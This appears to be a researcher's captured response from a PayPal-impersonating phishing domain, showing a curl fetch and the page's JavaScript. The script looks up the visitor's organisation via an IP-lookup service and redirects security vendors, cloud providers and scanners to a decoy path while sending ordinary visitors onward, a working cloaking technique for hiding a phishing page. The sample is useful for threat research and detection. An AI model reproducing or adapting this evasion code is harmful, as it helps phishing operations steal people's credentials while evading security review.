paypalupdate-secure·net AJAX IP evasion code

08:37:21@RandomVM-> curl -s -w "%{http_code}"  -A "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101" https://paypalupdate-secure.net/ -L

<script src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.4.0.min.js"></script>
<script>
$.ajax({
type: "GET",url:'https://ipapi.co/org/',
success: function (ec37d94) {
if (
ec37d94.indexOf("LGBT") >= 0
|| ec37d94.indexOf("Amazon.com") >= 0
|| ec37d94.indexOf("Amazon") >= 0
|| ec37d94.indexOf("Chrome") >= 0
|| ec37d94.indexOf("Google") >= 0
|| ec37d94.indexOf("phish") >= 0
|| ec37d94.indexOf("Paypal") >= 0
|| ec37d94.indexOf("DedFiberCo") >= 0
|| ec37d94.indexOf("Palo Alto Networks") >= 0
|| ec37d94.indexOf("Digital Ocean") >= 0
|| ec37d94.indexOf("DigitalOcean") >= 0
|| ec37d94.indexOf("Google Cloud") >= 0
|| ec37d94.indexOf("Cloud") >= 0
|| ec37d94.indexOf("107.178.194.44") >= 0
|| ec37d94.indexOf("Trustwave Holdings") >= 0
|| ec37d94.indexOf("Holdings") >= 0
|| ec37d94.indexOf("Trustwave") >= 0
|| ec37d94.indexOf("SoftLayer Technologies") >= 0
|| ec37d94.indexOf("SoftLayer") >= 0
|| ec37d94.indexOf("SurfControl") >= 0
|| ec37d94.indexOf("EGIHosting") >= 0
|| ec37d94.indexOf("LogicWeb") >= 0
|| ec37d94.indexOf("Choopa") >= 0
|| ec37d94.indexOf("Shinjiru") >= 0
|| ec37d94.indexOf("LogicWeb") >= 0
|| ec37d94.indexOf("Total Server Solutions") >= 0
|| ec37d94.indexOf("Brookhaven National Laboratory") >= 0
|| ec37d94.indexOf("OVH Hosting") >= 0
|| ec37d94.indexOf("XFERA Moviles S.A.") >= 0
|| ec37d94.indexOf("AVAST") >= 0
|| ec37d94.indexOf("Privax Ltd.") >= 0
|| ec37d94.indexOf("Privax") >= 0
|| ec37d94.indexOf("M247 Europe SRL") >= 0
|| ec37d94.indexOf("Wintek Corporation") >= 0
|| ec37d94.indexOf("Amazon.com, Inc.") >= 0
|| ec37d94.indexOf("Kaspersky Lab AO") >= 0
|| ec37d94.indexOf("TELEFÔNICA BRASIL S.A") >= 0
|| ec37d94.indexOf("UK-2 Limited") >= 0
|| ec37d94.indexOf("Online S.a.s.") >= 0
|| ec37d94.indexOf("BullGuard ApS") >= 0
|| ec37d94.indexOf("net4sec UG") >= 0
|| ec37d94.indexOf("Datacamp Limited") >= 0
|| ec37d94.indexOf("HostDime.com, Inc.") >= 0
|| ec37d94.indexOf("Digital Energy Technologies Ltd.") >= 0
|| ec37d94.indexOf("New Dream Network, LLC") >= 0
|| ec37d94.indexOf("LeaseWeb Netherlands B.V.") >= 0
|| ec37d94.indexOf("Hetzner Online GmbH") >= 0
|| ec37d94.indexOf("Rakuten Communications Corp.") >= 0
|| ec37d94.indexOf("Forcepoint Cloud Ltd") >= 0
|| ec37d94.indexOf("IP Volume inc") >= 0
|| ec37d94.indexOf("NTT PC Communications, Inc.") >= 0
|| ec37d94.indexOf("Liberty Global B.V.") >= 0
|| ec37d94.indexOf("Google LLC") >= 0
|| ec37d94.indexOf("PALO ALTO NETWORKS") >= 0
|| ec37d94.indexOf("ColoCrossing") >= 0
|| ec37d94.indexOf("Forcepoint, LLC") >= 0
|| ec37d94.indexOf("SINET, Cambodia's specialist Internet and Telecom Service Provider.") >= 0
|| ec37d94.indexOf("DigitalOcean, LLC") >= 0
|| ec37d94.indexOf("Soyuz LTD") >= 0
|| ec37d94.indexOf("Internap Corporation") >= 0
|| ec37d94.indexOf("Nameshield SAS") >= 0
|| ec37d94.indexOf("Microsoft Corporation") >= 0
|| ec37d94.indexOf("VNPT Corp") >= 0
|| ec37d94.indexOf("PVimpelCom") >= 0
|| ec37d94.indexOf("net4sec UG") >= 0
|| ec37d94.indexOf("Wintek Corporation") >= 0
|| ec37d94.indexOf("EAGLE SKY CO LT") >= 0
|| ec37d94.indexOf("SoftLayer Technologies Inc.") >= 0
|| ec37d94.indexOf("Leaseweb USA, Inc.") >= 0
|| ec37d94.indexOf("HETZNER") >= 0
|| ec37d94.indexOf("F5 Networks, Inc.") >= 0
|| ec37d94.indexOf("British Telecommunications PLC") >= 0
|| ec37d94.indexOf("GigeNET") >= 0
|| ec37d94.indexOf("FASTER CZ spol. s r.o.") >= 0
|| ec37d94.indexOf("Cogent Communications") >= 0
|| ec37d94.indexOf("Renater") >= 0
|| ec37d94.indexOf("InterNetX GmbH") >= 0
|| ec37d94.indexOf("Forcepoint Cloud Ltd") >= 0
|| ec37d94.indexOf("The Corporation for Financing & Promoting Technology") >= 0
|| ec37d94.indexOf("PALO ALTO NETWORKS") >= 0
|| ec37d94.indexOf("TerraTransit AG") >= 0
|| ec37d94.indexOf("Joshua Peter McQuistan") >= 0
|| ec37d94.indexOf("Commtouch Inc.") >= 0
|| ec37d94.indexOf("YANDEX LLC") >= 0
|| ec37d94.indexOf("M247 Ltd") >= 0
|| ec37d94.indexOf("RateLimited") >= 0
|| ec37d94.indexOf("Hot-Net internet services Ltd.") >= 0
|| ec37d94.indexOf("NTT Communications Corporation") >= 0
|| ec37d94.indexOf("Hetzner Online GmbH") >= 0
|| ec37d94.indexOf("Sungard Availability Network Solutions") >= 0
|| ec37d94.indexOf("Network Solutions") >= 0
|| ec37d94.indexOf("McAfee") >= 0
|| ec37d94.indexOf("Google Proxy") >= 0
|| ec37d94.indexOf("Contina Communications, LLC") >= 0
|| ec37d94.indexOf("Contina") >= 0
|| ec37d94.indexOf("Almouroltec Servicos De Informatica E Internet Lda") >= 0
|| ec37d94.indexOf("HL komm Telekommunikations GmbH") >= 0
|| ec37d94.indexOf("Symantec Corporation") >= 0
|| ec37d94.indexOf("KVCHOSTING.COM LLC") >= 0
|| ec37d94.indexOf("Tiscali SpA") >= 0
|| ec37d94.indexOf("Vertical Telecoms Pty Ltd") >= 0
|| ec37d94.indexOf("1&1 Internet SE") >= 0
|| ec37d94.indexOf("AVAST Software s.r.o.") >= 0
|| ec37d94.indexOf("Microsoft Corporation") >= 0
|| ec37d94.indexOf("Total Server Solutions L.L.C") >= 0
|| ec37d94.indexOf("EVANZO e-commerce GmbH") >= 0
|| ec37d94.indexOf("TM Net, Internet Service Provider") >= 0
|| ec37d94.indexOf("ESET, spol. s r.o.") >= 0
|| ec37d94.indexOf("Atlantic.net, Inc.") >= 0
|| ec37d94.indexOf("Venus Business Communications Limited") >= 0
|| ec37d94.indexOf("OVH SAS") >= 0
){

window.location.href = "inline.php?IeURdOfX1512371736=IeURdOfX1512371736-c37d94";
}else {

window.location.href = "inline.php?MLByselK1512371736=MLByselK1512371736-c37d94";
}
}
});
</script>